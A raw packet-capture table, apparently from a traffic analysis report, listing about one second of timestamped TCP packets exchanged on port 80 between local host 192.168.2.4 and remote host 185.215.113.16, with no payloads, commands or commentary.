Oct 26, 2024 05:54:36.193473101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.193485975 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.193525076 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.193558931 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.193595886 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.193607092 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.193638086 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.193963051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.193996906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.194046974 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.194051027 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.194078922 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.194112062 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.194144011 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.194220066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.194271088 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.194288969 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.234230995 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.234247923 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.234261990 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.234297991 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.234345913 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.274055004 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.274091005 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.274105072 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.274118900 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.274158001 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.274204969 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.315983057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.315996885 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.316010952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.316018105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.316086054 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.316106081 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.354511023 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.354562998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.354598999 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.354617119 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.354646921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.354681015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.354701042 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.354748964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.354783058 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.354795933 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.354816914 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.354850054 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.354878902 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.354881048 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.354916096 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.354939938 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.354949951 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.355003119 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.355417013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.355446100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.355495930 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.355536938 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.355631113 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.355664968 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.355690002 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.395577908 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.395658016 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.395692110 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.395718098 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.395750046 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.435556889 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.435606003 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.435637951 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.435697079 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.477200031 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.477255106 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.477303028 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.477330923 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.477379084 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.515528917 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.515563965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.515597105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.515626907 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.515752077 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.515784025 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.515816927 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.515816927 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.515849113 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.515877962 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.515923023 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.515949965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.515975952 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.515983105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.516036034 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.516066074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.516093969 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.516150951 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.516212940 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.516285896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.516319036 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.516336918 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.516372919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.516407013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.516453028 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.516758919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.516798019 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.516809940 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.556915045 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.556945086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.556979895 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.556993008 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.557012081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.557159901 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.596785069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.596813917 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.596831083 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.596846104 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.596878052 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.596955061 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.638555050 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.638583899 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.638611078 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.638619900 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.638674021 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.638710022 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.676798105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.676851034 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.676884890 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.676896095 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.677026033 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.677058935 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.677066088 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.677093029 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.677148104 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.677153111 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.677182913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.677227020 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.677265882 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.677265882 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.677572012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.677602053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.677649975 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.677669048 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.677683115 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.677715063 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.677742958 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.677776098 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.677867889 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.677900076 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.677903891 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.677933931 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.677973032 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.718172073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.718204975 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.718235970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.718321085 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.718504906 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.758244038 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.758280993 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.758313894 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.758332014 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.800052881 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.800086021 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.800117970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.800124884 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.800235987 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.838232040 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.838282108 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.838315964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.838344097 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.838344097 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.838376045 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.838424921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.838459015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.838469028 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.838469028 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.838490009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.838540077 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.838541031 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.838687897 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.838757992 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.838774920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.838805914 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.838867903 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.838954926 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.838987112 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.839019060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.839065075 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.839155912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.839191914 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.839215994 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.839401960 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.839481115 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.839481115 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.879411936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.879442930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.879472017 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.879476070 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.879508018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.879547119 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.919240952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.919270039 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.919301987 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.919323921 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.919356108 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.919358969 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.961178064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.961213112 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.961244106 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.961308956 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.962619066 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.999376059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.999433994 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.999461889 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.999480009 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.999526024 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.999576092 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.999610901 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.999643087 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.999669075 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.999669075 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.999676943 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.999708891 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.999742031 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:36.999783039 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.999814034 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:36.999825001 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.000190020 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.000238895 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.000288963 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.000669956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.000782967 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.000790119 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.000832081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.000864983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.000896931 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.000919104 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.000953913 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.040630102 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.040666103 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.040699005 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.040771961 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.080787897 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.080825090 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.080857038 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.080897093 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.080897093 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.122454882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.122505903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.122539043 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.122706890 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.160782099 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.160828114 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.160845041 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.160882950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.160916090 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.160944939 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.160963058 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.160978079 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.161011934 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.161039114 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.161041021 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.161087990 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.161123037 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.161147118 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.161158085 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.161183119 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.161223888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.161278963 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.161288977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.161322117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.161348104 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.161371946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.161405087 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.161438942 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.161484003 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.161484003 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.161780119 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.161834955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.161864042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.161896944 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.202052116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.202086926 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.202119112 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.202152967 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.202198029 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.242060900 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.242115021 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.242146969 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.242254972 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.283852100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.283884048 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.283915997 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.283936024 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.283947945 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.284020901 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.321870089 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.321923971 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.321932077 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.321952105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.322001934 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.322036028 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.322068930 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.322086096 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.322096109 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.322124004 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.322159052 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.322212934 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.322246075 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.322278023 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.322309971 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.322354078 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.322354078 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.322799921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.322850943 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.322879076 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.322942972 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.322972059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.323023081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.323056936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.323086023 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.323090076 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.323133945 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.363418102 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.363455057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.363487005 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.363491058 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.363523960 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.363622904 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.403243065 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.403278112 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.403309107 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.403337955 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.403366089 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.445133924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.445164919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.445322990 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.445359945 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.445389032 CEST	80	49742	185.215.113.16	192.168.2.4
